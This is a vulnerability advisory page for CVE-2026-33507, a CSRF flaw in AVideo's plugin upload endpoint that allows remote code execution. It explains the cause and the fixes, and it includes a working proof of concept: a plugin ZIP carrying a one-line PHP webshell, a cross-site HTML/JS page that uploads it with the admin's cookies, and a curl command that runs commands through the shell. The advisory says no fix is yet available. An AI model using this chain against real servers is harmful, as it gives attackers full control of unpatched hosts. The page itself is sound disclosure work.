GHSA-hv36-p4w4-6vmj CVE-2026-33507
AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload
- Severity
- 8.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.37%
- Chance of exploitation in the next 30 days. Higher than 31.30% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
- None yet
- No fixed version published
Description
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/include_config.php:134-137):
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
The endpoint only checks User::isAdmin() via the session. There is:
- No CSRF token validation (the
verifyToken/globalTokenmechanism used elsewhere is absent) - No
allowOrigin()call (contrast withobjects/videoAddNew.json.phpwhich callsallowOrigin()at line 8) - No
RefererorOriginheader validation - No requirement for custom headers (e.g.,
X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
public function getTags() { return array(); }
public function getDescription() { return "test"; }
public function getName() { return "EvilPlugin"; }
public function getUUID() { return "evil-0000-0000-0000"; }
public function getPluginVersion() { return "1.0"; }
public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL
zip -r evil-plugin.zip EvilPlugin/
Step 2: Host the CSRF exploit page
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
const zipResp = await fetch('evil-plugin.zip');
const zipBlob = await zipResp.blob();
const formData = new FormData();
formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
method: 'POST',
body: formData,
mode: 'no-cors',
credentials: 'include'
});
}
exploit();
</script>
</body>
</html>
Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
- Full server compromise: The webshell runs as the web server user (
www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
- Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The
no-corsmode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
// Add CSRF protection
allowOrigin();
// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
$obj->msg = "Invalid CSRF token";
die(json_encode($obj));
}
2. Update the upload form in view/managerPluginUpload.php to include the token:
<form enctype="multipart/form-data">
<input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
<input id="input-b1" name="input-b1" type="file" class="">
</form>
And pass it in the JavaScript upload config:
$('#input-b1').fileinput({
uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
// ...
});
3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor